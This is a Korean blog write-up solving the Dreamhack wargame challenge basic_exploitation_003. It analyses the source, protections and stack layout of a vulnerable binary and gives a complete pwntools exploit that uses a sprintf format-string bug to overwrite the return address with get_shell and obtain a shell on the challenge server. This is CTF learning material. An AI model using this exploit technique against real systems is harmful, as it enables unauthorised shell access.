1. 문제 파일 다운, 환경 파악
문제 파일을 다운받고 $ chmod +x basic_exploitation_003
로 실행 권한을 부여했다.
environment
Ubuntu 16.04
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
문제에 주어진 환경을 보면 NX만 적용되어 있는 32비트 시스템임을 알 수 있다.
2. 코드, 취약점 분석
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
void get_shell() {
system("/bin/sh"); //쉘 실행
}
int main(int argc, char *argv[]) {
char *heap_buf = (char *)malloc(0x80); //0x80만큼 malloc
char stack_buf[0x90] = {}; //0x90만큼 stack_buf 선언
initialize();
read(0, heap_buf, 0x80); //heap_buf에 입력 받음
sprintf(stack_buf, heap_buf); //stack_buf에 hep_buf가 출력한 값 저장
printf("ECHO : %s\n", stack_buf); //stack_buf 출력
return 0;
}
sprintf는 heap_buf에서 포맷된 문자열을 stack_buf에 저장하는데, 이 때 stack_buf에 저장되는 문자열의 길이 제한의 없으므로 버퍼오버플로우가 발생할 수 있다.
또, sprintf에서 형식 지정자를 따로 정하지 않았기 떄문에 포맷 스트링 버그를 활용할 수 있다.
PIE가 적용되어 있지 않기 때문에 get_shell의 주소는 고정되어 있을 것이다.
그렇다면 포맷 스트링 버그를 활용해서 buf와 sfp를 채우고 return adress에 get_shell의 주소를 넣어주면 될 것 같다.
3. get_shell 주소 찾기
pwndbg> info func get_shell
All functions matching regular expression "get_shell":
Non-debugging symbols:
0x08048669 get_shell
위와 같이 get_shell의 주소가 0x08048669임을 알았다.
4. 스택 프레임 분석
pwndbg> disass main
Dump of assembler code for function main:
0x0804867c <+0>: push ebp
0x0804867d <+1>: mov ebp,esp
0x0804867f <+3>: push edi
0x08048680 <+4>: sub esp,0x94
0x08048686 <+10>: push 0x80
0x0804868b <+15>: call 0x8048490 <malloc@plt>
0x08048690 <+20>: add esp,0x4
0x08048693 <+23>: mov DWORD PTR [ebp-0x8],eax
0x08048696 <+26>: lea edx,[ebp-0x98]
0x0804869c <+32>: mov eax,0x0
0x080486a1 <+37>: mov ecx,0x24
0x080486a6 <+42>: mov edi,edx
0x080486a8 <+44>: rep stos DWORD PTR es:[edi],eax
0x080486aa <+46>: call 0x8048622 <initialize>
0x080486af <+51>: push 0x80
0x080486b4 <+56>: push DWORD PTR [ebp-0x8]
0x080486b7 <+59>: push 0x0
0x080486b9 <+61>: call 0x8048450 <read@plt>
0x080486be <+66>: add esp,0xc
0x080486c1 <+69>: push DWORD PTR [ebp-0x8]
0x080486c4 <+72>: lea eax,[ebp-0x98]
0x080486ca <+78>: push eax
0x080486cb <+79>: call 0x80484f0 <sprintf@plt>
0x080486d0 <+84>: add esp,0x8
0x080486d3 <+87>: lea eax,[ebp-0x98]
0x080486d9 <+93>: push eax
0x080486da <+94>: push 0x8048791
0x080486df <+99>: call 0x8048460 <printf@plt>
0x080486e4 <+104>: add esp,0x8
stack_buf가 인자로 사용되는 printf(main+99) 함수의 인자 전달 과정을 살펴보면,ebp-0x98(stack_buf)
을 인자로 전달하고 있음을 알 수 있다.
스택 프레임
stack_buf(ebp-0x98~0x8) | ... | sfp(4바이트) | return adress(4바이트)
스택 프레임은 위와 같은 형태일 것이다.
5. 코드 작성
from pwn import *
p = remote('host3.dreamhack.games', 20655)
e = ELF('./basic_exploitation_003')
context.arch = 'i386'
get_shell = 0x08048669 #get_shell 주소
payload = b'%156c' #buf와 sfp의 크기인 156(0x98 + 0x4)만큼의 바이트를 출력하여 채워줌
payload += p32(get_shell) #return adress에 get_shell 주소 넣어줌
p.sendline(payload)
p.interactive()
위의 코드로 쉘을 획득헀다.
'system hacking' 카테고리의 다른 글
드림핵 tcache_dup2 문제 풀이 (2) | 2024.07.23 |
---|---|
드림핵 tcache_dup 문제 풀이 (3) | 2024.07.22 |
드림핵 basic_exploitation_002 문제 풀이 (2) | 2024.07.15 |
/lib/x86_64-linux-gnu/libc.so.6: version `GLIBC_2.34' not found 오류 해결 방법 (0) | 2024.07.12 |
드림핵 hook 문제 풀이 (0) | 2024.07.11 |